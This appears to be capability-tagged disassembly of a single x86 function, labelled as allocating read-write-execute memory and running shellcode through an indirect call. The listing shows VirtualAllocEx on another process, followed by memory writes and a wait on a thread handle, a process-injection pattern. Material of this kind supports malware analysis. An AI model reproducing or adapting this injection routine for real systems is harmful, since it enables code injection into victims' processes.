Function at 0x4cf227
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x74
mov dword [ebp - 4], 0
push 8
call fcn.00538de3
add esp, 4
mov dword [ebp - 8], eax
mov ebx, eax
mov dword [ebx], 0
mov dword [ebx + 4], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x44], 0
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x50], 0
mov dword [ebp - 0x4c], 0
mov dword [ebp - 0x58], 0
mov dword [ebp - 0x54], 0
mov dword [ebp - 0x5c], 0
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
mov ebx, dword [ebp - 8]
mov dword [ebp - 0x60], ebx
mov ebx, dword [ebp - 0x60]
mov dword [ebx], 0x457
mov ebx, dword [ebp - 8]
add ebx, 4
mov dword [ebp - 0x60], ebx
mov dword [ebp - 0x64], 0
push 0
lea eax, [ebp - 0x64]
push eax
mov dword [ebp - 0x68], 0
push 0
lea eax, [ebp - 0x68]
push eax
call fcn.004cf7e2
mov dword [ebp - 0x6c], eax
mov ebx, dword [ebp - 0x68]
test ebx, ebx
je 0x4cf339
push ebx
call fcn.00538de9
add esp, 4
mov ebx, dword [ebp - 0x64]
test ebx, ebx
je 0x4cf349
push ebx
call fcn.00538de9
add esp, 4
mov eax, dword [ebp - 0x6c]
mov ebx, dword [ebp - 0x60]
mov dword [ebx], eax
push dword [ebp + 0xc]
call fcn.004cf8a1
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x64], 0
push 0
push dword [ebp - 0x64]
mov dword [ebp - 0x68], 0
push 0
push dword [ebp - 0x68]
push dword [ebp - 0x60]
call fcn.004cf8bd
mov dword [ebp - 0x6c], eax
mov eax, dword [ebp - 0x6c]
push eax
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x4cf393
push ebx
call fcn.00538de9
add esp, 4
pop eax
mov dword [ebp - 0xc], eax
mov eax, 0x7d5bff
mov dword [ebp - 0x60], eax
lea eax, [ebp - 0x60]
push eax
call fcn.004cfa6c
mov dword [ebp - 0x64], eax
mov ebx, dword [ebp - 0x60]
test ebx, ebx
je 0x4cf3bb
push ebx
call fcn.00538de9
add esp, 4
mov eax, dword [ebp - 0x64]
mov dword [ebp - 0x10], eax
push reloc.WS2_32.dll_getpeername
push 0
push 0x7d5bff
push 1
mov ebx, 0x194
call fcn.00539c40
add esp, 0x10
mov dword [ebp - 0x14], eax
call fcn.004b0f46
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x20], 0xb20
push 0x80000301
push 0
push dword [ebp - 0x20]
push 1
mov ebx, 0x1bc
call fcn.00539c10
add esp, 0x10
mov dword [ebp - 0x60], eax
mov eax, dword [ebp - 0x60]
push eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x4cf427
push ebx
call fcn.00538de9
add esp, 4
pop eax
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x24]
push eax
call fcn.004cfa6c
mov dword [ebp - 0x28], eax
push 0x80000301
push 0
push 0x2000
push 0x80000301
push 0
push 0x1000
push 2
mov ebx, 0xc8
call fcn.0053a990
add esp, 0x1c
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x64], esp
push 0x40
push dword [ebp - 0x60]
push 0x1000
push 0
push dword [ebp - 4]
call dword [sym.imp.kernel32.dll_VirtualAllocEx]
nop
nop
nop
nop
cmp dword [ebp - 0x64], esp
je 0x4cf4a2
push 0x255
push 0x4020338
push 6
call fcn.00538def
add esp, 0xc
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0
jne 0x4cf4b4
jmp 0x4cf761
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x30], eax
fild dword [ebp - 0x30]
fstp qword [ebp - 0x64]
fld qword [ebp - 0x64]
fild dword [ebp - 0x14]
fstp qword [ebp - 0x6c]
fadd qword [ebp - 0x6c]
fstp qword [ebp - 0x74]
fld qword [ebp - 0x74]
call fcn.004a5e1e
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x60], esp
push 0
mov eax, dword [ebp - 0x14]
cdq
push edx
push eax
push dword [ebp - 0x10]
mov eax, dword [ebp - 0x30]
cdq
push edx
push eax
push dword [ebp - 4]
call dword [0x95d442]
nop
nop
nop
nop
cmp dword [ebp - 0x60], esp
je 0x4cf520
push 0x37a
push 0x4020338
push 6
call fcn.00538def
add esp, 0xc
mov dword [ebp - 0x68], eax
cmp dword [ebp - 0x68], 0
je 0x4cf532
jmp 0x4cf761
mov dword [ebp - 0x38], 8
push 0
push 0x278
push dword [ebp - 0x28]
call fcn.004cfa93
lea eax, [ebp - 0xc]
push eax
call fcn.004cfa6c
mov dword [ebp - 0x60], eax
lea eax, [ebp - 8]
push eax
call fcn.004cfab9
mov dword [ebp - 0x64], eax
push dword [ebp - 0x38]
push dword [ebp - 0x64]
lea eax, [ebp - 0x3c]
push eax
push dword [ebp - 0x60]
push dword [ebp - 0x28]
call fcn.004cfad5
mov dword [ebp - 0x60], esp
push 0
mov eax, dword [ebp - 0x20]
cdq
push edx
push eax
push dword [ebp - 0x28]
mov eax, dword [ebp - 0x34]
cdq
push edx
push eax
push dword [ebp - 4]
call dword [0x95d442]
nop
nop
nop
nop
cmp dword [ebp - 0x60], esp
je 0x4cf5b8
push 0x527
push 0x4020338
push 6
call fcn.00538def
add esp, 0xc
mov dword [ebp - 0x68], eax
cmp dword [ebp - 0x68], 0
je 0x4cf5ca
jmp 0x4cf761
push dword [ebp - 0x34]
push dword [ebp - 0x30]
push dword [ebp - 4]
lea eax, [ebp - 0x44]
push eax
call fcn.004cfd86
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 0
je 0x4cf5ee
jmp 0x4cf761
mov dword [ebp - 0x60], esp
push 0xffffffff
push dword [ebp - 0x44]
call dword [sym.imp.kernel32.dll_WaitForSingleObject]
nop
nop
nop
nop
cmp dword [ebp - 0x60], esp
je 0x4cf61f
push 0xace
push 0x4020338
push 6
call fcn.00538def
add esp, 0xc
mov dword [ebp - 0x60], esp
push dword [ebp - 0x44]
call dword [sym.imp.kernel32.dll_CloseHandle]
nop
nop
nop
nop
cmp dword [ebp - 0x60], esp
je 0x4cf64b
push 0xaed
push 0x4020338
push 6
call fcn.00538def
add esp, 0xc
fild dword [ebp - 0x34]
fstp qword [ebp - 0x64]
fld qword [ebp - 0x64]
fadd qword [0x7d5d6b]
fstp qword [ebp - 0x6c]
fld qword [ebp - 0x6c]
call fcn.004a5e1e
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x50]
push eax
call fcn.004d0016
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x64], esp
push 0
push 0
push 8
push dword [ebp - 0x60]
mov eax, dword [ebp - 0x48]
cdq
push edx
push eax
push dword [ebp - 4]
call dword [0x95d446]
nop
nop
nop
nop
cmp dword [ebp - 0x64], esp
je 0x4cf6b8
push 0xbaa
push 0x4020338
push 6
call fcn.00538def
add esp, 0xc
mov dword [ebp - 0x6c], eax
cmp dword [ebp - 0x6c], 0
je 0x4cf6ca
jmp 0x4cf761
mov dword [ebp - 0x58], 0
mov dword [ebp - 0x54], 0
fild dword [ebp - 0x34]
fstp qword [ebp - 0x64]
fld qword [ebp - 0x64]
fadd qword [0x7d5d73]
fstp qword [ebp - 0x6c]
fld qword [ebp - 0x6c]
call fcn.004a5e1e
mov dword [ebp - 0x5c], eax
lea eax, [ebp - 0x58]
push eax
call fcn.004d0016
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x64], esp
push 0
push 0
push 8
push dword [ebp - 0x60]
mov eax, dword [ebp - 0x5c]
cdq
push edx
push eax
push dword [ebp - 4]
call dword [0x95d446]
nop
nop
nop
nop
cmp dword [ebp - 0x64], esp
je 0x4cf745
push 0xcbb
push 0x4020338
push 6
call fcn.00538def
add esp, 0xc
mov dword [ebp - 0x6c], eax
cmp dword [ebp - 0x6c], 0
je 0x4cf757
jmp 0x4cf761
jmp 0x4cf761
cmp dword [ebp - 0x2c], 0
je 0x4cf788
push 0x8000
push 0
push 0
mov eax, dword [ebp - 0x2c]
cdq
push edx
push eax
push dword [ebp - 4]
call fcn.004c2bba
mov edx, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x50]
mov dword [ebp + 0x10], eax
mov dword [ebp + 0x14], edx
mov eax, 1
jmp 0x4cf79e
push eax
mov ebx, dword [ebp - 8]
push ebx
call fcn.00538de9
add esp, 4
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x4cf7bb
push ebx
call fcn.00538de9
add esp, 4
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x4cf7cb
push ebx
call fcn.00538de9
add esp, 4
mov ebx, dword [ebp - 0x3c]
test ebx, ebx
je 0x4cf7db
push ebx
call fcn.00538de9
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret 0x10